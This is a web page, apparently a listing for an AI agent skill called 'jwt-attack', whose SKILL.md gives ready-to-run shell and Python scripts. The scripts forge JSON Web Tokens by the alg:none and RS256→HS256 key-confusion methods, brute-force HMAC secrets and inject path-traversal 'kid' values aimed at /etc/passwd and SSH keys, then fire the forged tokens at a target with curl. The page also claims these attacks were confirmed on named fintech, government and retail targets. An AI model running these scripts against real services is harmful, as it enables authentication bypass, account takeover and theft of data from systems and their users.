Skip to content
FunCoding

jwt-attack

Decode, forge, brute JWTs when Bearer auth header is seen.

Star
1,302
Category
Security
License
MIT
Last commit
Sep 1, 2026

recon/jwt-attack/SKILL.md

View on GitHub

JWT Attack Skill

Complete JWT attack methodology — decode without verification, algorithm confusion (alg:none, RS256→HS256), weak secret brute force (hashcat/john/simple), kid injection, expired token reuse, and hardcoded JWT extraction from JS bundles. Confirmed on enterprise-portal (JWT-based sessions), fintech-processor (315 JWT tokens in Efí bank logs), fitness-chain (3 JWT sessions with 2027 expiry), delivery-platform (hardcoded JWTs in JS bundles), and gov-finance-portal (JWT secret leaked in Vite source).

When to Use

  • API uses Authorization: Bearer eyJ... headers.
  • JavaScript bundles contain eyJ... token patterns.
  • After js-secrets-extraction finds JWT tokens.
  • After api-noauth-hunt needs token forging for auth bypass.
  • Cookies contain jwt=, token=, or session= with base64-encoded values.

Prerequisites

  • terminal with curl, python3.
  • JWT token to attack (from recon).
  • For brute force: hashcat or john for high-speed cracking (optional).

How to Run

# Decode JWT without verification
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIn0.dozjgNryP4J3jVmNHl0w5N_XgL0n3I9PlFUP0THsR8U" | python3 -c "
import sys, base64, json
parts = sys.stdin.read().strip().split('.')
if len(parts) == 3:
    for i, part in enumerate(parts[:2]):
        try:
            padded = part + '=' * (4 - len(part) % 4)
            decoded = base64.urlsafe_b64decode(padded)
            print(f'--- Part {i} ---')
            print(json.dumps(json.loads(decoded), indent=2))
        except: print(f'Part {i}: {part[:50]}... (non-JSON)')
"

# Test alg:none attack
python3 -c "
import base64, json
header = base64.urlsafe_b64encode(json.dumps({'alg':'none','typ':'JWT'}).encode()).rstrip(b'=').decode()
payload = base64.urlsafe_b64encode(json.dumps({'admin':True,'sub':'admin'}).encode()).rstrip(b'=').decode()
print(f'{header}.{payload}.')
"

Quick Reference

AttackPrerequisitesImpactDifficulty
alg:noneServer accepts alg: "none"Full admin accessEasy
RS256→HS256JWT signed with RS256Full admin accessMedium (need public key)
Weak HMAC secretHS256 with weak secretFull admin accessMedium (need to crack)
kid injectionServer trusts kid headerRCE/LFIHard
Expired token reuseServer doesn't validate expSession persistenceTrivial
Hardcoded JWTJWT found in JS/sourceWhatever the JWT grantsTrivial

Procedure

Phase 1 — JWT Decode & Analysis

JWT="$1"

echo "[*] JWT analysis"

# Split and decode
HEADER=$(echo "$JWT" | cut -d. -f1)
PAYLOAD=$(echo "$JWT" | cut -d. -f2)
SIGNATURE=$(echo "$JWT" | cut -d. -f3)

echo "Header:"
echo "$HEADER" | python3 -c "
import sys, base64, json
padded = sys.stdin.read().strip() + '=' * (4 - len(sys.stdin.read().strip()) % 4)
try:
    d = json.loads(base64.urlsafe_b64decode(padded))
    print(json.dumps(d, indent=2))
except: print('  (not valid base64 JSON)')
"

echo "Payload:"
echo "$PAYLOAD" | python3 -c "
import sys, base64, json
padded = sys.stdin.read().strip() + '=' * (4 - len(sys.stdin.read().strip()) % 4)
try:
    d = json.loads(base64.urlsafe_b64decode(padded))
    for k, v in d.items():
        if k in ('exp', 'iat', 'nbf'):
            from datetime import datetime, timezone
            dt = datetime.fromtimestamp(v, tz=timezone.utc)
            print(f'  {k}: {v} ({dt})')
        else:
            print(f'  {k}: {v}')
except: print('  (not valid base64 JSON)')
"

# Check expiration
EXP=$(echo "$JWT" | cut -d. -f2 | python3 -c "
import sys, base64, json
padded = sys.stdin.read().strip() + '=' * (4 - len(sys.stdin.read().strip()) % 4)
d = json.loads(base64.urlsafe_b64decode(padded))
print(d.get('exp', 'no-expiry'))
" 2>/dev/null)

if [[ "$EXP" == "no-expiry" ]]; then
  echo "[!] Token has NO expiration — permanent access"
else
  NOW=$(date +%s)
  if [[ "$EXP" -gt "$NOW" ]]; then
    REMAINING=$((EXP - NOW))
    DAYS=$((REMAINING / 86400))
    echo "[+] Token valid for ${DAYS} more days (expires $(date -d @$EXP))"
  else
    echo "[-] Token EXPIRED $(date -d @$EXP)"
  fi
fi

Phase 2 — alg:none Attack

TARGET="$1"
ENDPOINT="$2"    # Authenticated endpoint to test
ORIGINAL_JWT="$3"  # Any valid JWT to extract claims from

echo "[*] alg:none attack"

# Extract payload from original JWT
PAYLOAD=$(echo "$ORIGINAL_JWT" | cut -d. -f2)

# Forge token with alg=none
FORGED_HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 -w0 | tr '+/' '-_' | tr -d '=')
FORGED_TOKEN="${FORGED_HEADER}.${PAYLOAD}."

echo "  Forged token: ${FORGED_TOKEN:0:80}..."

# Test
RESP=$(curl -sk --max-time 10 --connect-timeout 10 "$TARGET$ENDPOINT" \
  -H "Authorization: Bearer $FORGED_TOKEN" \
  -o /dev/null -w "%{http_code}" 2>/dev/null)

if [[ "$RESP" == "200" ]]; then
  echo "  [CRITICAL] alg:none ACCEPTED — full admin access!"
else
  echo "  [-] alg:none rejected (HTTP $RESP)"
fi

Phase 3 — RS256→HS256 Key Confusion

TARGET="$1"
ENDPOINT="$2"
PUBLIC_KEY_FILE="$3"  # RSA public key (PEM), from /.well-known/jwks.json or source leak

echo "[*] RS256→HS256 key confusion attack"

# Convert public key to symmetric key (the attack: HS256 uses the PUBLIC key as HMAC secret)
JWT_TOOL=$(python3 -c "
import jwt, sys

# Read public key
with open('$PUBLIC_KEY_FILE') as f:
    pubkey = f.read()

# Forge admin token
payload = {'admin': True, 'sub': 'admin', 'iat': $(date +%s)}
try:
    forged = jwt.encode(payload, pubkey, algorithm='HS256')
    print(forged)
except Exception as e:
    print(f'Error: {e}', file=sys.stderr)
" 2>/dev/null)

if [[ -n "$JWT_TOOL" ]] && ! echo "$JWT_TOOL" | grep -q "Error"; then
  echo "  Forged token: ${JWT_TOOL:0:80}..."
  RESP=$(curl -sk --max-time 10 --connect-timeout 10 "$TARGET$ENDPOINT" \
    -H "Authorization: Bearer $JWT_TOOL" \
    -o /dev/null -w "%{http_code}" 2>/dev/null)
  [[ "$RESP" == "200" ]] && echo "  [CRITICAL] RS256→HS256 confusion ACCEPTED!"
else
  echo "  [-] Forging failed (check public key format)"
fi

Phase 4 — Weak HMAC Secret Brute Force

JWT="$1"
WORDLIST="${2:-/usr/share/wordlists/rockyou.txt}"

echo "[*] Quick HS256 secret brute force"

# Fast Python brute force (top 1000 passwords)
echo "$JWT" | python3 -c "
import sys, hmac, hashlib, base64, json

jwt = sys.stdin.read().strip()
header_b64, payload_b64, sig_b64 = jwt.split('.')
header = json.loads(base64.urlsafe_b64decode(header_b64 + '=='))

if header.get('alg') != 'HS256':
    print('[-] Not HS256 — algorithm is:', header.get('alg'))
    sys.exit(0)

# Top secrets to try
secrets = ['secret', 'jwt_secret', 'key', 'password', 'admin', 'changeme',
           'SuperSecret', 'mysecretkey', '123456', 'jwt', 'token',
           'app_secret', 'secret_key', 'auth_token', 'private_key']

for secret in secrets:
    sig = base64.urlsafe_b64encode(
        hmac.new(secret.encode(), f'{header_b64}.{payload_b64}'.encode(), hashlib.sha256).digest()
    ).rstrip(b'=').decode()
    if sig == sig_b64:
        print(f'[CRACKED] Secret: {secret}')
        break
else:
    print('[-] Not in top-15 list')

# Also try from wordlist (first 5000 lines)
try:
    with open('$WORDLIST', 'rb') as f:
        for i, line in enumerate(f):
            if i >= 5000: break
            secret = line.strip()
            sig = base64.urlsafe_b64encode(
                hmac.new(secret, f'{header_b64}.{payload_b64}'.encode(), hashlib.sha256).digest()
            ).rstrip(b'=').decode()
            if sig == sig_b64:
                print(f'[CRACKED from wordlist] Secret: {secret.decode()}')
                break
    else:
        print('[-] Not in first 5000 wordlist entries')
except FileNotFoundError:
    print('[-] Wordlist not found at $WORDLIST')
"

Phase 5 — Kid Injection (path traversal / SQLi)

TARGET="$1"
ENDPOINT="$2"

echo "[*] kid header injection test"

# Test path traversal in kid header
for KID in "../../../../etc/passwd" "../../.ssh/id_rsa" "file:///etc/passwd"; do
  FORGED_HEADER=$(echo -n "{\"alg\":\"HS256\",\"typ\":\"JWT\",\"kid\":\"$KID\"}" | base64 -w0 | tr '+/' '-_' | tr -d '=')
  FORGED_TOKEN="${FORGED_HEADER}.$(echo -n '{"test":1}' | base64 -w0 | tr '+/' '-_' | tr -d '=').dGVzdA"

  RESP=$(curl -sk --max-time 5 --connect-timeout 5 "$TARGET$ENDPOINT" \
    -H "Authorization: Bearer $FORGED_TOKEN" \
    -o /dev/null -w "%{http_code}" 2>/dev/null)

  [[ "$RESP" == "500" ]] && echo "  [POTENTIAL] kid=$KID → HTTP $RESP (server error — may indicate processing)"
  sleep 0.3
done

Pitfalls

  • alg:none is rare. Most JWT libraries reject it by default since 2017. But legacy apps exist.
  • RS256→HS256 requires the PUBLIC key. This is usually available at /.well-known/jwks.json or in JS bundles.
  • Brute force is slow in Python. Use hashcat -m 16500 for HS256 or john for production-speed cracking.
  • Laravel Passport uses jti validation. Even if you forge a valid JWT, Passport checks if the jti (JWT ID) exists in the database.
  • Auth0/Firebase use JWKS. The server fetches the public key from /.well-known/jwks.json — alg:none won't work because the server always verifies with the public key.

Verification

  • alg:none: The forged token MUST access a protected resource returning HTTP 200.
  • RS256→HS256: The forged token MUST pass server verification using the public key as HMAC secret.
  • HS256 brute force: The cracked secret MUST produce a valid signature for a modified payload.
  • Hardcoded JWT: The token MUST be tested against the API to confirm it still works.
  • Kid injection: Server MUST return a different error for injected kids vs invalid signature (indicates kid processing).

Similar Skills

agent-security-hardening

AFaffaan-m/ECC278k4,046 new stars in the last 7 days

ponytail-review

DIDietrichGebert/ponytail162k5,405 new stars in the last 7 days

ponytail-audit

DIDietrichGebert/ponytail162k5,405 new stars in the last 7 days

ponytail-audit

DIDietrichGebert/ponytail162k5,405 new stars in the last 7 days

cso

GAgarrytan/gstack136k883 new stars in the last 7 days

Featured

security-and-hardening

Harden code against the OWASP Top 10: input handling, authentication, sessions and dependencies.

ADaddyosmani/agent-skills106k3,628 new stars in the last 7 days